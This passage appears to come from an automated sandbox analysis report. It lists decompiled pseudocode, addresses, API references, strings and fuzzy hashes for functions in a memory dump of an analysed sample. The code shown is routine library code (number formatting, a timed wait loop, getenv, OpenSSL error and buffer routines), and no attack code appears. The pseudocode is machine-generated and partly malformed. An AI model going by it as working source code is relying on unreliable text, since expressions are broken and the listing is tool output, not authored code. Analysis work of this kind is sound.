								if(_t205 > 0) {
									continue;
								}
								goto L71;
							}
						}
						L71:
						_t200 = _a8;
						_t143 =  *_t200;
						__eflags = _t143;
						if(_t143 != 0) {
							_a8 = _t200 - _t214;
							while(1) {
								__eflags = _t214 - _a20;
								if(_t214 >= _a20) {
									goto L75;
								}
								E00456F70(_t250, _t221, _t182, _t233, _t143);
								_t253 = _t253 + 0x14;
								_t214 = _v16 + 1;
								_v16 = _t214;
								_t143 =  *((intOrPtr*)(_a8 + _t214));
								__eflags = _t143;
								if(_t143 != 0) {
									continue;
								}
								goto L75;
							}
						}
						L75:
						__eflags = _a16;
						if(_a16 < 0) {
							while(1) {
								__eflags = _t214 - _a20;
								if(_t214 >= _a20) {
									goto L78;
								}
								_t143 = E00456F70(_t250, _t221, _t182, _t233, 0x20);
								_t253 = _t253 + 0x14;
								_t214 = _v16 + 1;
								_t124 =  &_a16;
								 *_t124 = _a16 + 1;
								__eflags =  *_t124;
								_v16 = _t214;
								if( *_t124 < 0) {
									continue;
								}
								goto L78;
							}
						}
						L78:
						return _t143;
					} else {
						goto L18;
					}
				} else {
					_t220 = 0x19;
					_a16 = 0x19;
					L18:
					_t184 = _a100;
					_t217 = _t232;
					 *((char*)(_t253 + _t220 + 0x30)) = 0;
					_t208 = _t184 - _t220;
					_t235 = _t217 + 1;
					do {
						_t154 =  *_t217;
						_t217 = _t217 + 1;
					} while (_t154 != 0);
					_t218 = _t217 - _t235;
					_t156 =  >=  ? _t184 : _t220;
					_t237 = _a96 - ( >=  ? _t184 : _t220);
					_t268 = _a12;
					_t238 = _a96 - ( >=  ? _t184 : _t220) - (_t268 != 0);
					_t209 =  <  ? 0 : _t208;
					_t239 = _a96 - ( >=  ? _t184 : _t220) - (_t268 != 0) - _t217 - _t235;
					_a24 = _t209;
					_t240 =  <  ? 0 : _a96 - ( >=  ? _t184 : _t220) - (_t268 != 0) - _t217 - _t235;
					_t160 = _a104;
					_a96 = _t240;
					if((_t160 & 0x00000010) != 0) {
						_t246 =  >=  ? _t209 : _t240;
						_a24 =  >=  ? _t209 : _t240;
						_t240 = 0;
						_a96 = 0;
					}
					if((_t160 & 0x00000001) != 0) {
						_t240 =  ~_t240;
						_a96 = _t240;
					}
					_t64 =  &_a28; // 0x456c55
					_t185 =  *_t64;
					if(_t240 > 0) {
						_t226 = _a8;
						do {
							E00456F70(_t249, _t185, _t226, _v0, 0x20);
							_t240 = _t240 - 1;
							_t253 = _t253 + 0x14;
						} while (_t240 > 0);
						_t220 = _a16;
						_a96 = _t240;
					}
					_t161 = _a12;
					if(_a12 != 0) {
						E00456F70(_t249, _t185, _a8, _v0, _t161);
						_t253 = _t253 + 0x14;
					}
					_t163 =  *_a4;
					if( *_a4 != 0) {
						_t245 = _a8;
						_t225 = _v0;
						do {
							E00456F70(_t249, _t185, _t245, _t225, _t163);
							_t253 = _t253 + 0x14;
							_t174 = _a4 + 1;
							_a4 = _t174;
							_t163 =  *_t174;
						} while ( *_t174 != 0);
						_t240 = _a96;
						_t220 = _a16;
					}
					if(_a24 > 0) {
						_t244 = _a8;
						_t224 = _v0;
						do {
							E00456F70(_t249, _t185, _t244, _t224, 0x30);
							_t253 = _t253 + 0x14;
							_t170 = _a24 - 1;
							_a24 = _t170;
						} while (_t170 > 0);
						_t240 = _a96;
						_t220 = _a16;
					}
					if(_t220 > 0) {
						_t243 = _a8;
						do {
							_t166 =  *((char*)(_t253 + _t220 + 0x2f));
							_t220 = _t220 - 1;
							E00456F70(_t249, _t185, _t243, _v0, _t166);
							_t253 = _t253 + 0x14;
						} while (_t220 > 0);
						_t240 = _a96;
					}
					if(_t240 < 0) {
						_t242 =  ~_t240;
						do {
							E00456F70(_t249, _t185, _a8, _v0, 0x20);
							_t253 = _t253 + 0x14;
							_t242 = _t242 - 1;
						} while (_t242 != 0);
					}
					_pop(_t223);
					_pop(_t241);
					_pop(_t186);
					return E0042A77E(_t186, _a60 ^ _t253, _t218, _t223, _t241);
				}
			}

0x004573f5
0x004573fa
0x00457401
0x0045740b
0x00457410
0x00457415
0x00457419
0x00457422
0x00457430
0x00457434
0x00457438
0x0045743e
0x00457442
0x00457445
0x00457449
0x0045744d
0x00457454
0x00457456
0x00457458
0x00457470
0x00457473
0x0045747f
0x00457482
0x0045748a
0x0045748f
0x00457475
0x00457475
0x00457475
0x00457460
0x00457460
0x00457462
0x0045746a
0x0045746c
0x0045746c
0x00457458
0x00457493
0x0045749a
0x0045749f
0x004574ac
0x004574b6
0x004574b9
0x004574bd
0x004574a1
0x004574a6
0x004574a6
0x0045749f
0x004574c4
0x004574d3
0x004574db
0x004574dd
0x004574e2
0x004574e4
0x004574e9
0x004574ee
0x004574f2
0x004574f7
0x004574fd
0x004574fe
0x00457500
0x00000000
0x00000000
0x00457502
0x00457509
0x00000000
0x00000000
0x00000000
0x00457509
0x0045750b
0x0045750f
0x00457516
0x00457523
0x0045769f
0x004576a4
0x004576a5
0x004576a6
0x004576a7
0x004576a8
0x004576a9
0x004576aa
0x004576ab
0x004576ac
0x004576ad
0x004576ae
0x004576af
0x004576b5
0x004576ba
0x004576be
0x004576c0
0x004576c2
0x004576ca
0x004576cd
0x004576cf
0x004576d3
0x004576d5
0x004576d7
0x004576d7
0x004576d8
0x004576d8
0x004576d7
0x004576e5
0x004576e8
0x004576ed
0x004576f1
0x004576f3
0x004576f5
0x004576f5
0x004576f9
0x004576fa
0x004576fe
0x004576ff
0x00457703
0x00457704
0x00457708
0x00457709
0x0045770d
0x0045770f
0x00457715
0x00457715
0x00457719
0x00000000
0x00000000
0x0045771f
0x00457721
0x00457725
0x00457727
0x00457730
0x00457730
0x00457733
0x00457772
0x00457772
0x00457786
0x0045778b
0x0045778e
0x00457735
0x00457735
0x00457738
0x0045773a
0x0045773a
0x00457751
0x00457753
0x00457756
0x00457758
0x0045775a
0x00457761
0x00457766
0x00457766
0x00457769
0x00457769
0x00457792
0x00457792
0x00457796
0x00457796
0x00457727
0x0045779a
0x0045779c
0x0045779e
0x004577a0
0x004577a3
0x004577a5
0x004577af
0x004577a7
0x004577a7
0x004577a7
0x004577b3
0x004577b3
0x004577b3
0x004577b9
0x004577ba
0x004577bb
0x004577bf
0x004577c3
0x004577c5
0x00000000
0x00000000
0x00000000
0x004577c5
0x00457715
0x004577cb
0x004577cb
0x004577cf
0x004577d1
0x004577d3
0x004577d7
0x004577e0
0x004577e0
0x004577e4
0x00000000
0x00000000
0x004577ee
0x004577f7
0x004577fe
0x004577ff
0x00457803
0x00457806
0x00457808
0x00000000
0x00000000
0x00000000
0x00457808
0x004577e0
0x0045780a
0x0045780a
0x0045780f
0x00457811
0x00457811
0x00457815
0x00000000
0x00000000
0x0045781d
0x00457826
0x00457829
0x0045782a
0x0045782a
0x0045782a
0x0045782e
0x00457832
0x00000000
0x00000000
0x00000000
0x00457832
0x00457811
0x00457834
0x00457839
0x00000000
0x00000000
0x00000000
0x00457518
0x00457518
0x0045751d
0x00457529
0x00457529
0x0045752d
0x00457531
0x00457536
0x00457538
0x00457540
0x00457540
0x00457542
0x00457543
0x00457547
0x00457551
0x00457554
0x00457558
0x0045755f
0x00457565
0x00457568
0x0045756a
0x0045756e
0x00457571
0x00457575
0x0045757b
0x0045757f
0x00457582
0x00457586
0x00457588
0x00457588
0x0045758e
0x00457590
0x00457592
0x00457592
0x00457596
0x00457596
0x0045759c
0x0045759e
0x004575a2
0x004575ab
0x004575b0
0x004575b1
0x004575b4
0x004575b8
0x004575bc
0x004575bc
0x004575c0
0x004575c6
0x004575d3
0x004575d8
0x004575d8
0x004575df
0x004575e3
0x004575e5
0x004575e9
0x004575f0
0x004575f8
0x00457601
0x00457604
0x00457605
0x00457609
0x0045760b
0x0045760f
0x00457613
0x00457613
0x0045761c
0x0045761e
0x00457622
0x00457626
0x0045762c
0x00457635
0x00457638
0x00457639
0x0045763d
0x00457641
0x00457645
0x00457645
0x0045764b
0x0045764d
0x00457651
0x00457651
0x00457656
0x0045765f
0x00457664
0x00457667
0x0045766b
0x0045766b
0x00457671
0x00457673
0x00457675
0x00457681
0x00457686
0x00457689
0x00457689
0x00457675
0x00457690
0x00457691
0x00457693
0x0045769e
0x0045769e

APIs

__aulldvrm.LIBCMT ref: 004574E9

Strings

0123456789abcdef, xrefs: 004574C4
, xrefs: 00457482
UlE, xrefs: 00457596, 004575A9, 004575D1, 004575F6, 0045762A, 0045765D, 0045767F
+, xrefs: 00457475
0123456789ABCDEF, xrefs: 004574D6

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: __aulldvrm
String ID: $+$0123456789ABCDEF$0123456789abcdef$UlE
API String ID: 1302938615-3129329331
Opcode ID: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction ID: ba297de4fec08f8b73c8771b24cc4328c1ae3ea447eff3a94226dc6813255680
Opcode Fuzzy Hash: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction Fuzzy Hash: D181AEB1A087509FD710CF29A84062BBBE5BFC9755F15092EFD8593312E338DD098B96

Uniqueness

Uniqueness Score: -1.00%

Function 00411B10 Relevance: 10.6, APIs: 7, Instructions: 50
timewindowsleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411B10() {
				intOrPtr _v8;
				struct tagMSG _v36;
				long _t9;
				long _t11;
				intOrPtr _t19;

				_t1 = timeGetTime() + 0x1388; // 0x1388
				_t19 = _t1;
				_v8 = _t19;
				_t9 = timeGetTime();
				if(_t19 > _t9) {
					do {
						_t11 = PeekMessageW( &_v36, 0, 0, 0, 1);
						if(_t11 == 0) {
							goto L5;
						}
						while(_v36.message != 0x12) {
							DispatchMessageW( &_v36);
							_t11 = PeekMessageW( &_v36, 0, 0, 0, 1);
							if(_t11 != 0) {
								continue;
							}
							goto L5;
						}
						break;
						L5:
						Sleep(0x64);
						_t11 = timeGetTime();
					} while (_v8 > _t11);
					return _t11;
				}
				return _t9;
			}

0x00411b20
0x00411b20
0x00411b26
0x00411b29
0x00411b2d
0x00411b40
0x00411b4c
0x00411b50
0x00000000
0x00000000
0x00411b52
0x00411b5c
0x00411b6a
0x00411b6e
0x00000000
0x00000000
0x00000000
0x00411b6e
0x00000000
0x00411b70
0x00411b72
0x00411b78
0x00411b7a
0x00000000
0x00411b7f
0x00411b85

APIs

timeGetTime.WINMM ref: 00411B1E
timeGetTime.WINMM ref: 00411B29
PeekMessageW.USER32 ref: 00411B4C
DispatchMessageW.USER32 ref: 00411B5C
PeekMessageW.USER32 ref: 00411B6A
Sleep.KERNEL32(00000064), ref: 00411B72
timeGetTime.WINMM ref: 00411B78

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: MessageTimetime$Peek$DispatchSleep
String ID:
API String ID: 3697694649-0
Opcode ID: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction ID: 47d0c5dc5d1eae46eaa001befe89e32fbe66e83151f6641dec248f991c3ab793
Opcode Fuzzy Hash: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction Fuzzy Hash: EE017532A40319A6DB2097E59C81FEEB768AB44B40F044066FB04A71D0E664A9418BA9

Uniqueness

Uniqueness Score: -1.00%

Function 004416EB Relevance: 9.1, APIs: 6, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E004416EB(void* __ebx, void* __edx, void* __edi, void* __esi, signed int _a4, signed int _a8, signed int _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v32;
				signed int _t16;
				intOrPtr _t17;
				signed int _t19;
				signed int _t20;
				signed int _t30;
				intOrPtr* _t35;
				intOrPtr* _t37;
				signed int* _t40;
				void* _t48;
				signed int _t50;
				signed int _t54;
				signed int _t57;
				intOrPtr _t58;
				intOrPtr _t59;

				_t48 = __edx;
				_t40 = _a4;
				_t65 = _t40;
				if(_t40 != 0) {
					 *_t40 =  *_t40 & 0x00000000;
					_t54 = _a12;
					_t50 = _a8;
					__eflags = _t50;
					if(_t50 == 0) {
						__eflags = _t54;
						if(__eflags == 0) {
							goto L4;
						} else {
							goto L13;
						}
					} else {
						__eflags = _t54;
						if(__eflags == 0) {
							L13:
							_t35 = E00425208(__eflags);
							_t58 = 0x16;
							 *_t35 = _t58;
							E004242D2();
							_t17 = _t58;
							goto L10;
						} else {
							L4:
							__eflags = _t50;
							if(_t50 != 0) {
								 *_t50 = 0;
							}
							_t16 = E00441667(_a16);
							_a4 = _t16;
							__eflags = _t16;
							if(_t16 == 0) {
								L15:
								_t17 = 0;
								goto L10;
							} else {
								_t19 = E0042C160(_t16) + 1;
								 *_t40 = _t19;
								__eflags = _t54;
								if(_t54 == 0) {
									goto L15;
								} else {
									__eflags = _t19 - _t54;
									if(_t19 <= _t54) {
										_t20 = E0042C0FD(_t50, _t54, _a4);
										__eflags = _t20;
										if(_t20 != 0) {
											_push(0);
											_push(0);
											_push(0);
											_push(0);
											_push(0);
											E004242FD(_t40, _t48);
											asm("int3");
											_push(0xc);
											_push(0x508078);
											E00428520(_t40, _t50, _t54);
											_v32 = _v32 & 0x00000000;
											_t56 = _a4;
											__eflags = _a4;
											__eflags = 0 | _a4 != 0x00000000;
											if(__eflags != 0) {
												__eflags = E00448FF4(_t56, 0x7fff) - 0x7fff;
												asm("sbb eax, eax");
												if(__eflags == 0) {
													goto L17;
												} else {
													E00428AF7(7);
													_t12 =  &_v8;
													 *_t12 = _v8 & 0x00000000;
													__eflags =  *_t12;
													_t57 = E00441667(_t56);
													_v32 = _t57;
													_v8 = 0xfffffffe;
													E004417FD();
													_t30 = _t57;
												}
											} else {
												L17:
												 *((intOrPtr*)(E00425208(__eflags))) = 0x16;
												E004242D2();
												_t30 = 0;
											}
											return E00428565(_t30);
										} else {
											goto L15;
										}
									} else {
										_t17 = 0x22;
										L10:
										goto L11;
									}
								}
							}
						}
					}
				} else {
					_t37 = E00425208(_t65);
					_t59 = 0x16;
					 *_t37 = _t59;
					E004242D2();
					_t17 = _t59;
					L11:
					return _t17;
				}
			}

0x004416eb
0x004416ef
0x004416f3
0x004416f5
0x0044170a
0x0044170d
0x00441711
0x00441714
0x00441716
0x0044174d
0x0044174f
0x00000000
0x00000000
0x00000000
0x00000000
0x00441718
0x00441718
0x0044171a
0x00441751
0x00441751
0x00441758
0x00441759
0x0044175b
0x00441760
0x00000000
0x0044171c
0x0044171c
0x0044171c
0x0044171e
0x00441720
0x00441720
0x00441726
0x0044172b
0x0044172f
0x00441731
0x00441775
0x00441775
0x00000000
0x00441733
0x00441739
0x0044173a
0x0044173d
0x0044173f
0x00000000
0x00441741
0x00441741
0x00441743
0x00441769
0x00441771
0x00441773
0x0044177b
0x0044177c
0x0044177d
0x0044177e
0x0044177f
0x00441780
0x00441785
0x00441786
0x00441788
0x0044178d
0x00441792
0x00441798
0x0044179b
0x004417a0
0x004417a2
0x004417c6
0x004417c8
0x004417cc
0x00000000
0x004417ce
0x004417d0
0x004417d6
0x004417d6
0x004417d6
0x004417e1
0x004417e3
0x004417e6
0x004417ed
0x004417f2
0x004417f2
0x004417a4
0x004417a4
0x004417a9
0x004417af
0x004417b4
0x004417b4
0x004417f9
0x00000000
0x00000000
0x00000000
0x00441745
0x00441747
0x00441748
0x00000000
0x00441748
0x00441743
0x0044173f
0x00441731
0x0044171a
0x004416f7
0x004416f7
0x004416fe
0x004416ff
0x00441701
0x00441706
0x00441749
0x0044174c
0x0044174c

APIs

__getenv_helper_nolock.LIBCMT ref: 00441726
__invoke_watson.LIBCMT ref: 00441780
_strlen.LIBCMT ref: 00441734

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

_strnlen.LIBCMT ref: 004417BF
__lock.LIBCMT ref: 004417D0
__getenv_helper_nolock.LIBCMT ref: 004417DB

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 706a9fbf285425ec29b4e33d2635255339e15eb248031f995e6227ac9da9c0f4
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: A131FC31741235ABEB216BA6EC02B9F76949F44B64F54015BF814DB391DF7CC88046AD

Uniqueness

Uniqueness Score: -1.00%

Function 004506A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 119
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 29%

			E004506A0(void* __ebp, intOrPtr _a4, signed int _a8, intOrPtr _a12, char _a16, char _a80, char _a144, signed int _a208, unsigned int _a216, intOrPtr* _a220, intOrPtr _a224) {
				intOrPtr _v0;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				intOrPtr _t35;
				intOrPtr _t43;
				char* _t46;
				intOrPtr _t54;
				intOrPtr _t55;
				intOrPtr* _t57;
				void* _t65;
				void* _t66;
				intOrPtr* _t67;
				unsigned int _t68;
				void* _t69;
				signed int _t73;
				intOrPtr _t74;
				signed int _t75;
				void* _t76;
				signed int _t77;

				E0042F7C0(0xd4);
				_t29 =  *0x50ad20; // 0xd964a3b
				_a208 = _t29 ^ _t75;
				_t54 = _a224;
				_t68 = _a216;
				_t67 = _a220;
				_t73 = _t68 >> 0x0000000c & 0x00000fff;
				_a8 = _t68 & 0x00000fff;
				_a4 = E00450DF0(_t54, _t65, _t67, _t73, _t68);
				_v0 = E00450870(_t54, _t67, _t73, _t68);
				_t35 = E004513B0(_t54, _t65, _t67, _t73, _t68);
				_t76 = _t75 + 0xc;
				_a12 = _t35;
				if(_a4 == 0) {
					_push(_t68 >> 0x18);
					_push("lib(%lu)");
					_push(0x40);
					_push( &_a144);
					E004567A0(_t68 >> 0x18);
					_t76 = _t76 + 0x10;
				}
				_t81 = _v0;
				if(_v0 == 0) {
					_push(_t73);
					_push("func(%lu)");
					_push(0x40);
					_push( &_a80);
					E004567A0(_t81);
					_t76 = _t76 + 0x10;
				}
				_t74 = _a12;
				_t82 = _t74;
				if(_t74 == 0) {
					_push(_a8);
					_push("reason(%lu)");
					_push(0x40);
					_push( &_a16);
					E004567A0(_t82);
					_t76 = _t76 + 0x10;
				}
				_t55 = _v0;
				_t37 =  !=  ? _t74 :  &_a16;
				_push( !=  ? _t74 :  &_a16);
				_t39 =  !=  ? _t55 :  &_a80;
				_push( !=  ? _t55 :  &_a80);
				_t41 =  !=  ? _a4 :  &_a144;
				E004567A0(_a4, _t67, _t54, "error:%08lX:%s:%s:%s", _t68,  !=  ? _a4 :  &_a144);
				_t57 = _t67;
				_t77 = _t76 + 0x1c;
				_t66 = _t57 + 1;
				do {
					_t43 =  *_t57;
					_t57 = _t57 + 1;
				} while (_t43 != 0);
				if(_t57 - _t66 == _t54 - 1 && _t54 > 4) {
					_t69 = 0;
					_t54 = _t54 + _t67;
					do {
						_t46 = E00431C30(_t67, 0x3a);
						_t77 = _t77 + 8;
						if(_t46 == 0 || _t46 > _t54 - 5 + _t69) {
							_t46 = _t54 - 5 + _t69;
							 *_t46 = 0x3a;
						}
						_t69 = _t69 + 1;
						_t67 = _t46 + 1;
					} while (_t69 < 4);
				}
				return E0042A77E(_t54, _a208 ^ _t77, _t66, _t67, _t68);
			}

0x004506a5
0x004506aa
0x004506b1
0x004506b9
0x004506c2
0x004506cc
0x004506de
0x004506e4
0x004506ee
0x004506f8
0x004506fc
0x00450701
0x00450704
0x0045070d
0x0045071b
0x0045071c
0x00450721
0x00450723
0x00450724
0x00450729
0x00450729
0x0045072c
0x00450731
0x00450733
0x00450734
0x0045073d
0x0045073f
0x00450740
0x00450745
0x00450745
0x00450748
0x0045074c
0x0045074e
0x00450750
0x00450758
0x0045075d
0x0045075f
0x00450760
0x00450765
0x00450765
0x00450768
0x00450772
0x00450777
0x0045077c
0x00450783
0x0045078d
0x00450799
0x0045079e
0x004507a0
0x004507a3
0x004507a6
0x004507a6
0x004507a8
0x004507a9
0x004507b4
0x004507bb
0x004507bd
0x004507c0
0x004507c3
0x004507c8
0x004507cd
0x004507db
0x004507dd
0x004507dd
0x004507e0
0x004507e1
0x004507e4
0x004507c0
0x00450801

APIs

___from_strstr_to_strchr.LIBCMT ref: 004507C3

Strings

func(%lu), xrefs: 00450734
reason(%lu), xrefs: 00450758
lib(%lu), xrefs: 0045071C
error:%08lX:%s:%s:%s, xrefs: 00450792

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID: error:%08lX:%s:%s:%s$func(%lu)$lib(%lu)$reason(%lu)
API String ID: 601868998-2416195885
Opcode ID: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction ID: 4fd155d7ac4cfc4ad9107eba643b63d3b81161049ee91e28a54c83c9030a6459
Opcode Fuzzy Hash: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction Fuzzy Hash: F64109756043055BDB20EE25CC45BAFB7D8EF85309F40082FF98593242E679E90C8B96

Uniqueness

Uniqueness Score: -1.00%

Function 0045AE30 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 97%

			E0045AE30(void* __ebx, void* __edx, void* __ebp, char _a4, char _a8) {
				void* __edi;
				intOrPtr _t18;
				intOrPtr _t19;
				signed int _t40;
				intOrPtr _t43;
				signed int _t44;
				intOrPtr _t51;
				intOrPtr* _t52;
				intOrPtr _t53;

				_t55 = __ebp;
				_t1 =  &_a8; // 0x463967
				_t53 =  *_t1;
				_t2 =  &_a4; // 0x463967
				_t52 =  *_t2;
				_t43 =  *_t52;
				if(_t43 < _t53) {
					__eflags =  *(_t52 + 8) - _t53;
					if( *(_t52 + 8) < _t53) {
						__eflags = _t53 - 0x5ffffffc;
						if(__eflags <= 0) {
							_t44 = _t53 + 3;
							_t50 = 0xaaaaaaab * _t44 >> 0x20;
							_t18 =  *((intOrPtr*)(_t52 + 4));
							_push(__ebx);
							_t40 = 0xaaaaaaab * _t44 >> 0x20 >> 1 << 2;
							__eflags = _t18;
							if(_t18 != 0) {
								_t19 = E00454FB0(_t50, _t18,  *(_t52 + 8), _t40, ".\\crypto\\buffer\\buffer.c", 0xa6);
							} else {
								_t19 = E00454E50(_t40, ".\\crypto\\buffer\\buffer.c", 0xa4);
							}
							_t51 = _t19;
							__eflags = _t51;
							if(__eflags != 0) {
								__eflags = _t53 -  *_t52;
								 *((intOrPtr*)(_t52 + 4)) = _t51;
								 *(_t52 + 8) = _t40;
								E0042B420( *_t52 + _t51, 0, _t53 -  *_t52);
								 *_t52 = _t53;
								return _t53;
							} else {
								E004512D0(_t40, _t51, _t52, _t55, __eflags, 7, 0x69, 0x41, ".\\crypto\\buffer\\buffer.c", 0xa9);
								__eflags = 0;
								return 0;
							}
						} else {
							E004512D0(__ebx, __edx, _t52, __ebp, __eflags, 7, 0x69, 0x41, ".\\crypto\\buffer\\buffer.c", 0x9f);
							__eflags = 0;
							return 0;
						}
					} else {
						__eflags =  *((intOrPtr*)(_t52 + 4)) + _t43;
						E0042B420( *((intOrPtr*)(_t52 + 4)) + _t43, 0, _t53 - _t43);
						 *_t52 = _t53;
						return _t53;
					}
				} else {
					E0042B420( *((intOrPtr*)(_t52 + 4)) + _t53, 0, _t43 - _t53);
					 *_t52 = _t53;
					return _t53;
				}
			}

0x0045ae30
0x0045ae31
0x0045ae31
0x0045ae36
0x0045ae36
0x0045ae3a
0x0045ae3e
0x0045ae5a
0x0045ae5d
0x0045ae7b
0x0045ae81
0x0045aea0
0x0045aea8
0x0045aeaa
0x0045aead
0x0045aeb2
0x0045aeb5
0x0045aeb7
0x0045aedd
0x0045aeb9
0x0045aec4
0x0045aec9
0x0045aee5
0x0045aee7
0x0045aee9
0x0045af0f
0x0045af11
0x0045af1a
0x0045af1e
0x0045af26
0x0045af2d
0x0045aeeb
0x0045aefb
0x0045af03
0x0045af0a
0x0045af0a
0x0045ae83
0x0045ae93
0x0045ae9b
0x0045ae9f
0x0045ae9f
0x0045ae5f
0x0045ae67
0x0045ae6c
0x0045ae74
0x0045ae7a
0x0045ae7a
0x0045ae40
0x0045ae4b
0x0045ae53
0x0045ae59
0x0045ae59

APIs

_memset.LIBCMT ref: 0045AE4B
_memset.LIBCMT ref: 0045AE6C

Strings

g9F, xrefs: 0045AE31, 0045AE36, 0045AE63, 0045AF14, 0045AF1D
.\crypto\buffer\buffer.c, xrefs: 0045AE88, 0045AEBE, 0045AED3, 0045AEF0

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$g9F
API String ID: 2102423945-3653307630
Opcode ID: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction ID: 958ac6a2dbe7618ecd56aaf11cdfe4c63fb5daf7b6a990d4d23814bb8d8bf6ac
Opcode Fuzzy Hash: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction Fuzzy Hash: 27212BB6B403213FE210665DFC43B66B399EB84B15F10413BF618D73C2D6A8A865C3D9

Uniqueness

Uniqueness Score: -1.00%

Function 00425341 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 91
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 62%

			E00425341(void* __ebx, void* __edi, intOrPtr _a4) {
				char* _v24;
				intOrPtr _v28;
				signed int _v36;
				signed int _v40;
				short _v300;
				void* __esi;
				void* _t15;
				void* _t17;
				signed int _t20;
				char* _t22;
				signed int _t30;
				void* _t40;
				void* _t42;
				void* _t46;
				void* _t47;
				void* _t49;
				void* _t51;
				signed int _t52;

				if(_a4 != 0) {
					_push(__ebx);
					_t30 = E0043749C(_a4, 0x55);
					if(_t30 < 0x55) {
						_push(__edi);
						_t15 = E00428CDE(_t40, 2 + _t30 * 2);
						_t42 = _t15;
						if(_t42 != 0) {
							_t5 = _t30 + 1; // 0x1
							_t17 = E004374F1(_t42, _t5, _a4, _t5);
							_t52 = _t51 + 0x10;
							if(_t17 != 0) {
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								E004242FD(_t30, _t40);
								asm("int3");
								_t49 = _t47;
								_push(_t49);
								_t50 = _t52;
								_t20 =  *0x50ad20; // 0xd964a3b
								_v40 = _t20 ^ _t52;
								_t22 = _v24;
								_t45 = _v28;
								if(_v28 <= 5 && _t22 != 0 && MultiByteToWideChar(0, 0, _t22, 0xffffffff,  &_v300, 0x83) != 0) {
									E00425A97(_t30, _t40, _t45,  &_v300);
								}
								_pop(_t46);
								return E0042A77E(_t30, _v36 ^ _t50, _t40, _t42, _t46);
							} else {
								_t15 = _t42;
								goto L5;
							}
						} else {
							L5:
							goto L6;
						}
					} else {
						_t15 = 0;
						L6:
						return _t15;
					}
				} else {
					return 0;
				}
			}

0x00425348
0x0042534e
0x00425359
0x00425360
0x0042536d
0x0042536f
0x00425374
0x00425379
0x0042537f
0x00425388
0x0042538d
0x00425392
0x0042539a
0x0042539b
0x0042539c
0x0042539d
0x0042539e
0x0042539f
0x004253a4
0x004253a8
0x004255d8
0x004255d9
0x004255e1
0x004255e8
0x004255eb
0x004255ef
0x004255f5
0x00425620
0x00425626
0x00425630
0x00425639
0x00425394
0x00425394
0x00000000
0x00425394
0x0042537b
0x0042537b
0x00000000
0x0042537b
0x00425362
0x00425362
0x0042537c
0x0042537e
0x0042537e
0x0042534a
0x0042534d
0x0042534d

APIs

_wcsnlen.LIBCMT ref: 00425354

Strings

U, xrefs: 0042535D

Memory Dump Source

